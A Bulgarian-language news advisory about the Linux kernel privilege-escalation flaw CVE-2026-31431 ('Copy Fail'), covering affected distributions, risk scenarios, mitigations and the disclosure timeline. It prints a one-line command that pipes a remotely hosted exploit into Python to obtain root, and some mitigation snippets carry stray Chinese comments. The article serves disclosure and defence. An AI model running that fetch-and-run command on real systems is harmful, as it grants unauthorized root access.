732 байта компрометират всички Linux: епична уязвимост се е спотайвала близо десетилетие

🚨 Епична уязвимост: 732 байта компрометират всички Linux, спотайвала се е близо десетилетие
Уязвимост в ядрото на Linux, носеща името„Copy Fail“(CVE-2026-31431), бе разкрита публично:
- 732 байтаPython скрипт е
- 100% надежден, без състезателен прозорец (race window) или ядрени отмествания
- Засегнати са всички Linux дистрибуции(от 2017 г. насам)
- Примитив за бягство от контейнер, атаки между наематели
- Спотайвала се е близо десетилетие, докато бе оповестена на 29 април 2026 г.
Един и същ скрипт работи наUbuntu, RHEL, Amazon Linux, SUSE— без никакви промени.
🎯 Сърцевината на уязвимостта
Един-единствен логически дефект
Copy Fail еправолинеен логически дефект:
- Не изисква състезателен прозорец: за разлика от повечето LPE за Linux, които се нуждаят от race condition
- Не изисква ядрени отмествания: не са нужни специфични за ядрото offset-и
- 100% надеждност: успех при всяко изпълнение
- Един и същ скрипт: работи на всички дистрибуции
Веригата на уязвимостта
Атакуващата верига на Copy Fail:
- Логическа грешка в authencesn: логически бъг
- AF_ALG: чрез crypto API на ядрото
- splice(): верижно извикване
- Запис на 4 байта в page-cache: крайният атакуващ примитив
- Експлоатируема близо десетилетие: от 2017 г. до издаването на пача
📊 Обхват на засегнатите системи
Официално потвърдени дистрибуции
| Дистрибуция | Версия на ядрото | Състояние |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Потвърдено |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Потвърдено |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Потвърдено |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Потвърдено |
Други засегнати дистрибуции
Следните дистрибуцииса също засегнати:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Вграден Linux
Заключение: ако ядрото ви е компилирано между 2017 г. и пача —вие сте засегнати.
💡 Високорискови сценарии
| Сценарий | Риск | Въздействие |
|---|---|---|
| Многонаемателски Linux хост | Висок | Всеки потребител става root |
| Kubernetes / контейнерни клъстери | Висок | Атаки през контейнери и между наематели |
| CI Runner / Build Farm | Висок | PR заявката получава root в runner-а |
| Облачен SaaS, изпълняващ потребителски код | Висок | Наемателят става root на хоста |
| Стандартен Linux сървър | Среден | Вътрешно LPE, възможна верижна атака |
| Еднопотребителски лаптоп | Нисък | Стъпка за повишаване на привилегиите след първоначален достъп |
🔧 Мерки за смекчаване
Вариант 1: обновяване на ядрото (препоръчително)
Обновете ядрото до версия, съдържащаmainline commit a664bf3d603d:
- Какво поправя: отменя оптимизацията algif_aead in-place от 2017 г.
- Ефект: страниците от page-cache вече не попадат в записваемия destination scatterlist
- Състояние: повечето основни дистрибуции вече издадоха пачове
Вариант 2: деактивиране на модула algif_aead (временно)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Въздействие от деактивирането на algif_aead
| Компонент | Въздействие |
|---|---|
| dm-crypt / LUKS | Без въздействие |
| kTLS / IPsec | Без въздействие |
| OpenSSL / SSH | Без въздействие |
| AF_ALG в потребителското пространство | Възможно въздействие |
Заключение: за повечето системи деактивирането на algif_aeadняма забележимо въздействие.
Вариант 3: блокиране на AF_ALG чрез seccomp
За недоверени натоварвания (контейнери, пясъчници, CI) блокирайте създаването на AF_ALG сокети чрез seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Демонстрация на PoC
PoC кодът за уязвимостта е публикуван, за да могат защитниците да проверят системите си:
Бързо изпълнение
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Подробности за PoC
- Размер на файла: 732 байта
- Език: Python 3.10+, само стандартната библиотека (os, socket, zlib)
- Цел по подразбиране:/usr/bin/su
- SHA256:a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Предупреждение: скриптът променя page cache на изпълнимия файл със setuid; промяната не е постоянна след рестарт, но root шелът е реален. Не го изпълнявайте в производствена среда.
📅 Хронология на разкриването
| Дата | Събитие |
|---|---|
| 2026-03-23 | Докладвано на екипа по сигурност на ядрото на Linux |
| 2026-03-24 | Първоначално потвърждение |
| 2026-03-25 | Предложение и преглед на пача |
| 2026-04-01 | Пачът е подаден към mainline |
| 2026-04-22 | Присвояване на CVE-2026-31431 |
| 2026-04-29 | Публично разкриване |
🔍 Откривател: Xint Code
Уязвимостта е открита отXint Code:
- Продължителност на сканирането: около 1 час сканиране на подсистемата crypto/ в Linux
- Начин на откриване: одит на кода, управляван от AI
- Пълен анализ: root cause, диаграми, prompt за оператора
- Други открития: едновременно бяха открити и други уязвимости с висока сериозност, които все още са в процес на координирано разкриване
Постижения на Xint Code
- 0-day RCE: ZeroDay Cloud — пълно превъзходство в категорията бази данни (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: финал на DARPA AI Cyber Challenge
- DEF CON CTF 9×: най-успешният отбор в историята на DEF CON CTF
📝 Заключение
Copy Fail (CVE-2026-31431) еепична уязвимост в ядрото на Linux:
- 732 байта компрометират всички Linux (от 2017 г. насам)
- 100% надеждност, един-единствен логически дефект
- Бягство от контейнер, атаки между наематели
- Спотайвала се е близо десетилетие, до публичното ѝ разкриване на 29 април 2026 г.
- Високорискови сценарии: многонаемателски хостове, контейнерни клъстери, CI Runner, SaaS
- Смекчаване: обновете ядрото или деактивирайте algif_aead
- Откривател: Xint Code, чрез одит на кода с AI
Епична уязвимост от близо десетилетие: един скрипт компрометира всички Linux.
Официален сайт на уязвимостта:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Технически анализ:https://xint.io/blog/copy-fail-linux-distributions
Пач за ядрото:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5